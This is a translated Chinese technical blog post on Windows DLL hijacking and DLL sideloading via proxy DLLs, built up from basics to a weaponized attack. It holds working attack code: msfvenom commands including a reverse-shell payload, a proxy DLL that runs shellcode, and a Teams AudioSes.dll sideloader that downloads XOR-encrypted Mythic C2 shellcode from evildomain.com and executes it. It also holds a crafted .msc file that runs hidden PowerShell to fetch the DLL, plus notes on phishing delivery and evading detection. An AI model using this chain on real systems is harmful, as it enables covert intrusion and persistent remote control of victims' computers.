一、什么是 DLL?二、什么是 DLL 劫持?三、DLL 路径搜索顺序四、DLL 劫持原理五、DLL Sideloading六、什么是 DLL 代理?七、执行 DLL 代理八、武器化 DLL 代理案例1:Teams案例2:Obsidian九、结论
原创 独眼情报
哎,犯病了,又整这种没人看的技术长文!但是看到很好的技术文章总是忍不住想翻译,精校以及二创。这篇是用心了的。花了好几天时间。
长话短说
DLL Sideloading(侧载) 是一种技术,它使攻击者能够从合法,甚至可能是已签名的Windows 二进制文件/进程中执行自定义恶意代码。众所周知,这种技术具有极高的隐蔽性,并且是威胁行为者广泛使用和滥用的一种技术。因此,了解攻击的核心原理有助于防御它。
在深入探讨 Sideloading 本身之前,首先需要了解一些关于 Windows 组件的基本知识,例如 DLL 本身以及它们是如何工作的。在解释了 DLL 劫持攻击之后,我认为这将有助于更容易理解 Sideloading。我之所以喜欢将 DLL Sideloading 称为 DLL 劫持的加强版,是因为它们之间的相似性。
一、什么是 DLL?
动态链接库(DLL)是一个包含代码和数据的文件,多个程序可以同时使用。DLL 是 Windows 操作系统的重要组成部分,因为 Windows 在很大程度上依赖于它们来实现各种功能。与静态库不同,DLL 是在运行时加载到内存中的,提供了模块化和灵活性,这对软件完整性至关重要。每个在 Windows 上启动的进程都使用 DLL 来正常运行。此外,DLL 可以是自定义的,这意味着不同的软件供应商可以有专用的 DLL。通常它们是用 C/C++ 编写的,但这不是唯一的选择。
要更好地理解 DLL,我们需要了解一些关键概念:
导出的函数和数据
:这些是 DLL 提供给外部使用的开放功能。这意味着当程序需要特定功能时,该功能必须被导出才能使用。从开发者的角度来看,这是通过在 C/C++ 中使用 __declspec(dllexport) 关键字来标记函数和数据来实现的。
加载和卸载
:当应用程序启动时,操作系统加载器会检查所需的 DLL 是否存在,如果需要,将其加载到进程的内存空间中。加载器还管理引用计数,以确保只要 DLL 仍在使用中,它就会保留在内存中,并在不再需要时将其卸载。加载器将 DLL 映射到进程的内存空间,从而在 DLL 的代码和进程的内存空间之间建立桥梁。这使得应用程序可以与 DLL 的功能交互,而无需担心内存管理,并且不会锁定 DLL 供其他程序使用。
依赖管理
:DLL 可能依赖于其他 DLL,形成复杂的组件网络。加载器处理这些依赖关系,递归地加载所有必需的 DLL,以确保应用程序可以访问所需的全部功能。有效地管理依赖关系对于避免诸如“DLL依赖地狱”之类的问题至关重要。从攻击者的角度来看,通常不建议针对嵌套的 DLL 和函数,因为破坏目标进程的风险很高。可以参考微软文档(https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-libraries)
从开发人员的角度来看,可以手动加载特定的函数,方法是使用 Win32 API,如 GetModuleHandleA 和 GetProcAddress。但问题是:“如果我没有明确使用这些 Win32 API,我的程序是否会加载任何需要的 DLL?”答案是肯定的!
即使您可能没有直接包含 DLL,通过导入库(例如 windows.h 或 stdio.h),Windows 也会查找所有库中包含的所有函数,并最终加载所有需要的 DLL。这些 DLL 可能因功能而异,具体取决于您的程序打算做什么。您可以使用 ProcessHacker(https://processhacker.sourceforge.io/downloads.php) 等工具分析目标进程中加载了哪些 DLL。
图 1:explorer.exe 进程导入的 DLL
为了更直观地理解,让我们看一下以下示例 C 代码:
#include "pch.h" #include <windows.h\> int main() {
MessageBoxA(NULL, "Hello, MessageBox!", "Message", MB_OK);
return 0;
}
当此代码编译并执行时,会弹出一个消息框,因为 MessageBoxA Win32 API 调用是从 User32.dll 模块中获取的。这可以在 Process Hacker 2 中看到,导入的 DLL 和它们的基地址在内存中。
图 2:使用 Process Hacker 2 查看导入的 DLL
虽然该机制看起来很简单,但当编写不当的代码时,可能会出现问题。DLL 劫持/侧载 就是其中之一!
二、什么是 DLL 劫持?
DLL劫持利用了Windows应用程序中编写不良的代码。如果一个应用程序在加载模块时只指定它们的名称而不是完整路径,这将导致二进制文件在任意位置搜索DLL。如前所述,当程序启动时,它依赖于各种DLL以正常运行。这些DLL必须被相应的进程找到并加载。程序所需的DLL在构建时会被放入可执行文件的导入表中。此表列出了应用程序将使用的DLL和特定功能。当程序开始运行时,其进程会尝试按照特定的搜索顺序定位每个条目。
三、DLL 路径搜索顺序
多说一嘴,工作目录和执行文件所在目录可能不是一样的,开发可能比较熟悉,搞安全的可能有人不清楚,说明一下
初始时,进程会在应用程序的可执行文件所在目录中搜索 DLL。这是最有可能找到所需 DLL 的位置,尤其是对于特定于应用程序的 DLL。如果 DLL 不存在,进程将移动到系统目录(通常是 C:\Windows\System32)。该目录包含对所有应用程序都通用的基本系统库。如果 DLL 仍然缺失,Windows 将在 16 位系统目录(C:\Windows\System 或 C:\Windows\SysWOW64)中查找。然后,Windows 将在主 Windows 目录(C:\Windows)中搜索,接着是当前的 working directory。最后,如果在前述位置都未找到 DLL,Windows 将尝试使用 PATH 环境变量。
基本上,查找过程如下:
四、DLL 劫持原理
DLL 劫持攻击利用了这样一个事实:当程序启动或运行时,它会尝试加载其所需的 DLL,并且这些 DLL 可能位于用户有权写入和修改文件的目录中。虽然这种情况可能发生在各种攻击场景中,但我们可以通过 DVTA(动态漏洞测试工具包)(https://github.com/srini0x00/dvta) 项目来简单地演示它,该项目故意包含易受各种攻击的代码。
要找到存在 DLL 劫持漏洞的程序,一种简单的方法是扫描各种应用程序的导入地址表,并在运行时或启动时分析其导入项。这个过程可能看起来很复杂,但实际上并非如此。幸运的是,我们有 Sysinternals Suite,它包含了一系列由 Microsoft 提供的签名和受信任的应用程序,旨在帮助调试/开发/管理 Windows 应用程序。其中一个工具是 Process Monitor,它允许我们检查进程在运行时的行为,包括哪些 DLL 正在被尝试加载以及它们的位置。
当我们在 Process Monitor 中观察 DVTA 进程时,我们会注意到一些 CreateFile 操作返回了 STATUS_NOT_FOUND 结果。这表明进程无法找到所需的 DLL,这意味着我们可以强制它加载我们放置在可写位置的自定义模块。
为了执行 DLL 劫持攻击,我们需要在Process Monitor找到一个 CreateFile 操作,该操作返回 STATUS_NOT_FOUND 结果。一旦找到,我们可以在用户有权写入的目录中创建一个 DLL,并在下次启动应用程序时,它会尝试加载我们的恶意 DLL 而不是合法的 DLL。
为了实现这个过程,我们首先要找到失败的_CreateFile_操作。加载 Process Monitor 后,您将观察到大量输出,让我们对其进行一些过滤。
图4:进程监视过滤器
上面的屏幕截图简化了可视化数据,简而言之,它根据我们想要定位的应用程序的名称(在本例中为 DVTA)过滤输出。它还应用一个过滤器,该过滤器将输出其路径中包含 DLL 的每个事件。
我知道您可以通过指定确切的事件来进一步缩小搜索范围,但我总是发现观察哪些 DLL 用于我的目标应用程序很有用。
应用后,此过滤器将为我们提供包含.dll文件操作的所有事件。虽然大多数都是直接在磁盘上找到的,但在你深入挖掘之后,你最终会看到这样的东西:
图 5:进程监视器枚举的 DLL 未找到事件
请记住,这里的重要部分是路径。我确信你可能会发现许多不同进程的“未找到名称”事件,但请确保该进程试图从可写位置检索模块。
下一步是创建我们希望被加载和执行的DLL。在此步骤中,我们将使用以下PoC代码,它只有一个恶意任务:启动计算器。
#include "pch.h"
#include <stdlib.h>
#include <windows.h>void calc();BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved
) {HANDLE t;switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) calc, NULL, 0, NULL);CloseHandle(t);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}void calc() {system("calc.exe");
}
在编译代码之后,将输出的DLL文件重命名为应用程序所请求的确切名称是非常重要的,在我们这个示例中,它是cryptbase.dll。将自定义DLL放置到之前未找到它的文件夹内后,DLL劫持攻击现在就完成了。剩下唯一要做的就是重新启动应用程序或者等待目标应用程序按其设计重新调用DLL。
图6:放置cryptbase.dll并重启应用程序后,生成calc.exe
注意:如果你不擅长编程,你也可以使用msfvenom生成各种DLL文件。要复制上述示例,你可以使用以下命令:
msfvenom -f dll -p windows/x64/exec CMD="C:\\Windows\\System32\\calc.exe" -o cryptbase.dll
虽然攻击完美执行,但观察到有一个主要问题:没有DVTA应用程序。即使从任务管理器看到进程正在运行,应用程序也无响应。这是因为被执行的DLL有效载荷只包含DllMain而不包括任何其他导出函数,这些函数可能对于应用程序来说是必需的。这就是DLL侧加载发挥作用的地方!
五、DLL Sideloading
DLL Sideloading 的目标与 DLL 劫持相同,但解决了 DLL 劫持的一个主要问题:缺乏必要的导出函数。DLL Sideloading,也称为代理加载。
六、什么是 DLL 代理?
DLL 代理是一种技术,它检查目标程序使用了哪些 DLL 和函数,然后转发它们到原始的合法 DLL。这样可以确保应用程序的功能不受影响。
从本质上讲,它看起来像这样:
图 7:DLL 代理可视化,来源于Red Team Notes
通过这样做,我们确保了自定义DLL现在导出了应用程序所需的每个函数,这大大降低了程序崩溃的机会。现在,当DLL被加载时,恶意载荷将与预期和需要的导出函数并行执行。
此外,不应轻率处理载荷执行,如果从DllMain中执行载荷,即使导出函数存在,应用程序仍可能因为例如LoaderLock而超时。为避免锁定目标进程,强烈推荐进行远程进程注入、远程线程创建、线程劫持或几乎任何跳转到/创建线程的技术。但即便你这样做了,你也可能因为C2-Payload而最终处于LoaderLock中。例如Hooking(https://www.netspi.com/blog/technical-blog/adversary-simulation/adaptive-dll-hijacking/)可以用来作为一种替代方法从DllMain中脱身。“完美DLL劫持”(https://elliotonsecurity.com/perfect-dll-hijacking/)博客文章还描述了从DllMain“安全”运行载荷的替代方法。然而根据我们的经验,在没有LoaderLock的情况下获得最好机会是直接从一个导出函数本身执行载荷而不是从DllMain。
但现在问题来了:“如何完成DLL-代理?”我知道一开始听起来非常复杂,但幸运地是我们有开源软件社区。虽然有许多工具可以找到和利用DLL劫持漏洞, 我发现Spartacus非常直接且有用于生成初始DLL-代理代码。
七、执行 DLL 代理
Spartacus(https://github.com/sadreck/Spartacus) 是一个相对简单的工具,用于生成 DLL 代理代码。它需要 Process Monitor 的存在,以便找到 DLL 劫持漏洞。
以下是使用 Spartacus 的基本步骤:
1、使用 Process Monitor 生成基于参数的配置文件(.pml)。将设置的过滤器是.
路径以.dll结尾。
进程名称不是procmon.exe或procmon64.exe。
启用Drop Filtered Events以确保最小 PML 输出大小。
禁用Auto Scroll。
2、执行 Process Monitor 并暂停,等待用户操作。
3、用户运行或终止进程,或保持运行状态。
4、用户按下 Enter 键后,Process Monitor 将停止并分析结果。
5、解析输出的事件日志(.pml)文件。
创建一个包含所有 NAME_NOT_FOUND 和 PATH_NOT_FOUND DLL 的 CSV 文件。
比较 DLL 列表,尝试识别可以代理其导出函数的 DLL。
为每个识别的 DLL 生成 Visual Studio 解决方案,用于代理所有标识的 DLL 导出函数。
Spartacus 将自动生成源代码,其中包括代理过程。唯一需要做的是修改 DllMain 以执行恶意有效载荷。
要运行Spartacus,您可以使用以下语法:
.\Spartacus.exe --mode dll --procmon C:\Users\user\Desktop\Procmon64.exe --pml .\logs.pml --csv .\VulnerableDLLFiles.csv --solution .\Solutions --verbose
让我们来分解这些选项。
--mode:定义操作模式。使用dll时,Spartacus将寻找DLL劫持漏洞。
--procmon:定义Procmon应用程序的路径,建议使用完整路径。
--pml:定义将存储所有记录事件的日志文件。
--csv:定义保存所有易受攻击DLL的输出文件。
--solution:定义输出文件路径。
--verbose:更详细的输出。
在运行上述命令后,您可以观察到进程监控已经开始。
图8:Spartacus进行进程监控
在这个阶段,我们需要重新启动我们的目标进程,也就是所谓的DVTA,或者复制该进程中的操作,这将最终加载易受攻击的DLL。一旦我们启动程序,我们可以回到运行Spartacus的终端并按下回车键。这将告诉Spartacus他已经完成了足够的监控工作,现在是分析结果的时候了。
图9:Spartacus分析
分析发现并自动生成了两个DLL(cryptbase.dll, DWrite.dll)所需的源代码,这些DLL可用于劫持。
如果你忘记指定--solution选项,Spartacus可以基于指定的DLL使用以下命令生成所需的解决方案:
.\Spartacus.exe --mode proxy --dll --solution .\Solutions --overwrite --verbose
Spartacus能够为cryptbase.dll生成以下模板:
#pragma once#pragma comment(linker, "/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker, "/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker, "/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker, "/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker, "/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker, "/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker, "/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker, "/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker, "/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker, "/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker, "/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")#include "windows.h"#include "ios"#include "fstream"// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L "C:\\Windows\\System32\\cryptbase.dll");// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput) {std::ofstream log("spartacus-proxy-cryptbase.log", std::ios_base::app | std::ios_base::out);log << szInput;log << "\n";
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
如果您不确定导出语句,可以从这个网站(https://strontic.github.io/xcyclopedia/library/cryptbase.dll-34785289148E2B1DF0863B1D2CA45D7B.html)手动查找每个DLL。
现在我们可以修改源代码以执行shellcode。首先,我们来看一个简单的例子。让我们通过使用我在OffensiveCpp仓库(https://github.com/lsecqt/OffensiveCpp/blob/main/Shellcode Execution/FileMap/directPointerToFileMap.cpp)中的一个例子来修改代码:
#pragma once#pragma comment(linker, "/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker, "/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker, "/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker, "/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker, "/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker, "/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker, "/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker, "/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker, "/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker, "/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker, "/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")#include "windows.h"#include "ios"#include "fstream"//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=10443 -f c
unsigned char buf[] = "<output from msfvenom>"// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L "C:\\Windows\\System32\\cryptbase.dll");// Remove this function if you aren't proxying any functions.
VOID DebugToFile(LPCSTR szInput) {std::ofstream log("spartacus-proxy-cryptbase.log", std::ios_base::app | std::ios_base::out);log << szInput;log << "\n";
}DWORD WINAPI run() {HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);void * mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf));std::memcpy(mem_map, buf, sizeof(buf));((int( * )()) mem_map)();return 0;
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {HANDLE hThread = NULL;switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH:hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) run, NULL, 0, NULL);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
在DLL文件编译并放置到可写路径后,我们现在可以再次执行DVTA应用程序。
图10:DVTA在新的cryptbase.dll下正常运行
在检查了攻击者的机器后,我们可以确认有效载荷已成功执行,同时应用程序完全正常运行。
图11:有效载荷成功执行
八、武器化 DLL 代理
到目前为止,我们已经介绍了这些技术和DLL的基础知识。然而,当从理论转为实战时,它们可能会有所不同。一个常见的例子就是执行的有效载荷。如果你正在进行恶意软件开发,你会知道当你的代码能够与简单的有效载荷一起工作(就像上面展示的那样),但却无法与来自复杂C2框架如Havoc或Mythic的有效载荷一起执行时那种令人烦恼的感觉。
现在,让我们不仅仅是为了演示目的展示攻击,而是再探讨一个场景:
寻找并摧毁:
在这个场景中,我们将找到并利用DLL-Sideloading针对一个签名过且预安装应用程序,并且如果第一种方法失败,则提供预编译好的著名Windows二进制文件。
虽然在之前的例子中DLL劫持和DLL代理技术运行良好,但你在真实环境中看到DVTA应用程序的机会极低。此外,它没有签名因此不会为EDR提供任何更高信任度。所以我们要退后一步, 针对另一个应用程序。对我来说, 最有意义地针对通常出现在Windows系统中得应用程序之一. 这样一个应用程序便是Teams.
在直接依赖Spartacus之前, 让我们尝试通过修改Process Monitor 的过滤器手动分析该应用程序是否存在DLL劫持漏洞:
图12:用于检测团队应用程序DLL劫持漏洞的ProcMon过滤器
在应用它们之后,我们可以观察到很多CreateFile操作因用户的AppData文件夹中的路径而导致“NAME NOT FOUND”。
图13:teams.exe尝试从本地用户的AppData文件夹加载不存在的DLLs
虽然乍看之下这可能看起来很令人兴奋,但并不是所有的DLL都适合被劫持。通过使用与上述相同的自动化过程,Spartacus能够生成许多不同的解决方案。
图14:来自Spartacus的生成解决方案
这一开始看起来可能令人满意,但这些解决方案存在一些问题;并不是所有的都适合进行恰当的攻击。其中一些在团队加载时甚至没有执行(比如 wtsapi32.dll)。有些则完全阻止了 msteams.exe 的加载(比如 DWrite.dll)。
图 15:劫持 DWrite.dll 后,teams.exe未能启动
但其中一些(如 AudioSes.dll)非常优秀且适合作为候选。AudioSes.dll 只在启动时加载一次,这确保了你的信标不会被多次执行(像 CompPkgSup.dll 那样)。
既然我们现在有了一个众所周知、经常使用且已签名的目标应用程序和一个不会破坏进程的目标 DLL,那么是时候将其武器化以执行 C2 载荷了。
在深入探讨投放器本身之前,让我们先构建 DLL 模板文件。Spartacus给出了以下针对 AudioSes.dll 的模板:
#pragma once#pragma comment(linker, "/export:DllCanUnloadNow=C:\\Windows\\System32\\AudioSes.DllCanUnloadNow,@5")#pragma comment(linker, "/export:DllGetActivationFactory=C:\\Windows\\System32\\AudioSes.DllGetActivationFactory,@6")#pragma comment(linker, "/export:DllGetClassObject=C:\\Windows\\System32\\AudioSes.DllGetClassObject,@7")#pragma comment(linker, "/export:DllRegisterServer=C:\\Windows\\System32\\AudioSes.DllRegisterServer,@8")#pragma comment(linker, "/export:DllUnregisterServer=C:\\Windows\\System32\\AudioSes.DllUnregisterServer,@9")#include "windows.h"#include "ios"#include "fstream"// Remove this line if you aren't proxying any functions.HMODULE hModule = LoadLibrary(L "C:\\Windows\\System32\\AudioSes.dll");// Remove this function if you aren't proxying any functions.VOID DebugToFile(LPCSTR szInput){std::ofstream log("spartacus-proxy-AudioSes.log", std::ios_base::app | std::ios_base::out);log << szInput;log << "\n";}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
现在是时候对其进行修改,不仅要让我们获得一个反向Shell,还要从选定的C2框架中获取信标。由于我非常喜欢Mythic,因此我将在整篇博客文章中使用它。
我不会深入讲解“如何安装和设置Mythic C2框架”,因为我已经制作了一段视频(https://www.youtube.com/watch?v=QmC1zhpTxww)来介绍它。
如果你更喜欢其他任何C2框架,请确保以shellcode格式(.bin)生成你的信标,并继续下一步。
下一步是加密有效载荷,因为我们不希望它被签名检测到。为了对Mythic的有效载荷进行XOR加密,我将使用msfvenom:
msfvenom -p generic/custom payloadfile=apollo.bin --encrypt xor --encrypt-key e001ffbe97fc842aeb4a91161f6291f1 -f raw -o enc.bin
注意:在前面的命令中,加密键是一个基本的MD5哈希;避免使用单字符键,并且一定要记下你所用的键。稍后需要用到这个键。
现在有效载荷已经被加密并准备好存放在一个叫做enc.bin的文件中了。下一步是修改我们的Sideload DLL,在运行时获取并执行它。我的Offensive C/C++仓库上已经有下载远程shellcode到内存然后用C/C++执行它的代码,并且可以在Github上找到。
集成之后,Sideloading DLL代码看起来像这样:
#pragma once#pragma comment(linker, "/export:DllCanUnloadNow=C:\\Windows\\System32\\AudioSes.DllCanUnloadNow,@5")#pragma comment(linker, "/export:DllGetActivationFactory=C:\\Windows\\System32\\AudioSes.DllGetActivationFactory,@6")#pragma comment(linker, "/export:DllGetClassObject=C:\\Windows\\System32\\AudioSes.DllGetClassObject,@7")#pragma comment(linker, "/export:DllRegisterServer=C:\\Windows\\System32\\AudioSes.DllRegisterServer,@8")#pragma comment(linker, "/export:DllUnregisterServer=C:\\Windows\\System32\\AudioSes.DllUnregisterServer,@9")#include "windows.h"#include "ios"#include "fstream"#include <stdio.h>#include <tlhelp32.h>#include <winhttp.h>#include "Winternl.h"#pragma comment(lib, "winhttp.lib")#pragma comment(lib, "ntdll")// Remove this line if you aren't proxying any functions.HMODULE hModule = LoadLibrary(L "C:\\Windows\\System32\\AudioSes.dll");// Remove this function if you aren't proxying any functions.VOID DebugToFile(LPCSTR szInput){std::ofstream log("spartacus-proxy-AudioSes.log", std::ios_base::app | std::ios_base::out);log << szInput;log << "\n";}unsigned char buf[1365758];void dl(const wchar_t * host, short port){int counter = 0;DWORD dwSize = 0;DWORD dwDownloaded = 0;LPSTR pszOutBuffer;BOOL bResults = FALSE;HINTERNET hSession = NULL,hConnect = NULL,hRequest = NULL;// Use WinHttpOpen to obtain a session handle.hSession = WinHttpOpen(L "WinHTTP Example/1.0",WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,WINHTTP_NO_PROXY_NAME,WINHTTP_NO_PROXY_BYPASS, 0);// Specify an HTTP server.if (hSession)hConnect = WinHttpConnect(hSession, (LPCWSTR) host, port, 0);DWORD dwFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;// Create an HTTP request handle.if (hConnect)hRequest = WinHttpOpenRequest(hConnect, L "GET", L "/enc.bin", L "HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);// This is for accepting self signed Certif (!WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, & dwFlags, sizeof(dwFlags))){exit(443);}// Send a request.if (hRequest)bResults = WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS,0, WINHTTP_NO_REQUEST_DATA, 0,0, 0);// End the request.if (bResults)bResults = WinHttpReceiveResponse(hRequest, NULL);// Keep checking for data until there is nothing left.if (bResults){do{// Check for available data.dwSize = 0;if (!WinHttpQueryDataAvailable(hRequest, & dwSize)){printf("Error %u in WinHttpQueryDataAvailable.\n",GetLastError());break;}// No more available data.if (!dwSize)break;// Allocate space for the buffer.pszOutBuffer = new char[dwSize + 1];if (!pszOutBuffer){printf("Out of memory\n");break;}// Read the Data.ZeroMemory(pszOutBuffer, dwSize + 1);if (!WinHttpReadData(hRequest, (LPVOID) pszOutBuffer,dwSize, & dwDownloaded)){printf("Error %u in WinHttpReadData.\n", GetLastError());} else{int i = 0;while (i < dwSize){// Since the cunks are transferred in 8192 bytes, this check is required for larger buffersif (counter >= sizeof(buf)){break;}memcpy( & buf[counter], & pszOutBuffer[i], sizeof(char));counter++;i++;}}delete[] pszOutBuffer;if (!dwDownloaded)break;} while (dwSize > 0);} else{// Report any errors.printf("Error %d has occurred.\n", GetLastError());}printf("[+] %d Bytes successfully written!\n", sizeof(buf));// Close any open handles.if (hRequest) WinHttpCloseHandle(hRequest);if (hConnect) WinHttpCloseHandle(hConnect);if (hSession) WinHttpCloseHandle(hSession);}void x(char * payload, int payload_length, char * key, int length) {int j = 0;for (int i = 0; i < payload_length - 1; i++) {if (j == length - 1) j = 0;payload[i] ^= key[j];unsigned char data = payload[i] ^ key[j];j++;}}VOID run(){Sleep(3000);dl(L "evildomain.com", (short) 8443);char key[] = "e001ffbe97fc842aeb4a91161f6291f1";LPVOID address = ::VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);x((char * ) buf, sizeof(buf), key, sizeof(key));std::memcpy(address, buf, sizeof(buf));Sleep(5000);((void( * )()) address)();}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){HANDLE hThread = NULL;switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) run, NULL, 0, NULL);break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;break;}return TRUE;}
在DLL文件编译并放置到可写路径后,我们现在可以再次执行DVTA应用程序。
图16:DVTA在新的cryptbase.dll下正常运行
enc.bin
文件在攻击期间应当托管于受控的网络服务器上,否则这个 POC 将无法工作。
当这个新创建的 DLL 被放置在 c:\Users\user\AppData\Local\Microsoft\Teams\current\ 文件夹内时,Teams 将在下次启动时加载它。现在问题是如何传输它?最明显的答案当然是通过钓鱼攻击来获得初始访问并建立持久性。然而,通过电子邮件作为附件传输 DLL 文件并不明智,同时也会被 Outlook 客户端阻止。
对于这个问题,并没有直接的答案,因为执行此类攻击有无数种方式和技巧。一些例子可能包括用 ZIP 归档文件传输一个带有侧载 DLL 的合法签名二进制文件。但是对于初始访问有效负载而言,可能使用了几十种附件类型,范围从 MSI/ClickOnce 安装程序文件到脚本文件(SCT, JS, …)、快捷方式文件(LNK, URL, …)等等。
然而,这篇博客的目标并不是展示初始访问有效负载类型,所以我们只选取一个最近发布的例子。
6月21日,elastic(https://x.com/dez_/status/1804211936311284209) 发布了一个新的初始访问向量用于通过特别制作的 .msc 文件执行命令。我们可以简单地修改这个原始 PoC 来执行一个 Powershell 单行指令,在该指令中从远程网络服务器下载我们的 DLL 到目标可写 %APPDATA% 位置。
<?xml version="1.0"?>
<MMC_ConsoleFile ConsoleVersion="3.0" ProgramMode="UserSDI"><ConsoleFileID>a7bf8102-12e1-4226-aa6a-2ba71f6249d0</ConsoleFileID>[…snip…]<StringTable><GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE}</GUID><Strings><String ID="1" Refs="1">Favorites</String><String ID="8" Refs="2">// Console Root//                 &var scopeNamespace = external.Document.ScopeNamespace;var rootNode = scopeNamespace.GetRoot()var mainNode = scopeNamespace.GetChild(rootNode)var docNode = scopeNamespace.GetNext(mainNode)external.Document.ActiveView.ActiveScopeNode = docNodedocObject = external.Document.ActiveView.ControlObjectexternal.Document.ActiveView.ActiveScopeNode = mainNodevar XML = docObject;XML.async = falsevar xsl = XML;xsl.loadXML(unescape("%3C%3Fxml%20version%3D%271%2E0%27%3F%3E%0D%0A%3Cstylesheet%0D%0A%20%20%20%20xmlns%3D%22 http%3A%2F%2Fwww%2Ew3%2Eorg%2F1999%2FXSL%2FTransform%22%20xmlns%3Ams%3D%22urn%3Aschemas%2Dmicrosoft%2Dcom%3Axslt %22%0D%0A%20%20%20%20xmlns%3Auser%3D%22placeholder%22%0D%0A%20%20%20%20version%3D%221%2E0%22%3E%0D%0A%20%20%20 %20%3Coutput%20method%3D%22text%22%2F%3E%0D%0A%20%20%20%20%3Cms%3Ascript%20implements%2Dprefix%3D%22user%22%20 language%3D%22VBScript%22%3E%0D%0A%09%3C%21%5BCDATA%5B%0D%0ASet%20wshshell%20%3D%20CreateObject%28%22WScript %2EShell%22%29%0D%0AWshshell%2Erun%20%22powershell%20-w%20hidden%20Invoke-WebRequest%20-Uri%20https%3A%2F%2Fevildomain.com%2FAudioSes.dll%20-OutFile%20%24env%3ALOCALAPPDATA%5CMicrosoft%5CTeams%5Ccurrent%5CAudioSes.dll%20-UseBasicParsing%22%0D%0A%5D%5D%3E%3C%2Fms%3Ascript%3E%0D%0A%3C%2Fstylesheet%3E"))XML.transformNode(xsl)</String><String ID="23" Refs="2">Document</String><String ID="24" Refs="1">{2933BF90-7B36-11D2-B20E-00C04F983E60}</String><String ID="38" Refs="2">Main</String><String ID="39" Refs="1">res://apds.dll/redirect.html?target=javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)</String></Strings></StringTable>
</StringTables>
<BinaryStorage>[…snip…]<SNIPPED CODE>
有趣的部分是在URL编码的有效载荷部分执行Powershell,它从远程Web服务器下载DLL到%APPDATA%
。
请记住,无论使用哪个有效载荷,在执行前都要进行url编码,否则它将简单地损坏MSC文件。
